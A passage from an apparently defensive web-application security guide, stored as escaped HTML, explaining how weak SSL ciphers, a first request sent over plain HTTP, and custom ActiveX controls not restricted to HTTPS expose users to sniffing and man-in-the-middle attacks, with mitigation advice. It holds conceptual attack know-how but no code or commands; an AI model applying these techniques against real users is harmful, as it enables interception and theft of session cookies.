Ciphers&amp;#8221; because they feasible crackable with a decent computing power. Basically a data transmitted over weak ciphers are highly vulnerable to cracking. Therefore an attack can sniff this data then crack and view transmitted data later.&lt;/p&gt;  &lt;p&gt;This is dangerous because depending on the application, it might transfer cookies in these weak cipher used connections, (&lt;i&gt;obviously including cookies those marked as secure&lt;/i&gt;). Even though application will inform to user that they can not keep using application this first request will send HTTP request over non-SSL connection and an attacker can see this request.&lt;/p&gt;  &lt;p&gt;An attacker can be for victim to do this first request over another website in many different ways such as iframe. It&amp;#8217;s enough for an attacker to modify one HTTP response on the fly to accomplish this.&lt;/p&gt;  &lt;h3&gt;&lt;a name="_Toc198392043"&gt;ActiveX Security and SSL&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;If your application requires a custom ActiveX and if your ActiveX allows you to do something more privileged than normal a browser such as reading local files, executing certain OS commands then you should limit your ActiveX execution to only your domain.&lt;/p&gt;  &lt;p&gt;If you limit your ActiveX only for your domain &lt;b&gt;but not only for your domain and HTTPS access&lt;/b&gt; then an attacker can do MITM attack and can call this ActiveX over your domain and can use all functionality of the ActiveX. Obviously this can lead vulnerabilities such as arbitrary file reading from local file system, code execution or information leakage.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;You should restrict your custom ActiveX applications to your own domain and SSL. &lt;/b&gt;This&lt;b&gt; &lt;/b&gt;will stop this attack. &lt;/p&gt;  &lt;h3&gt;&lt;a name="_Toc198392044"&gt;Download, MD5 Signatures and SSL&lt;/a&gt;&lt;/h3&gt;  &lt;p&gt;There of lots websites providing hash signatures of files, this is good for especially confirming the integrity of file against file corruption and similar issues. But if you put your files over HTTP then you should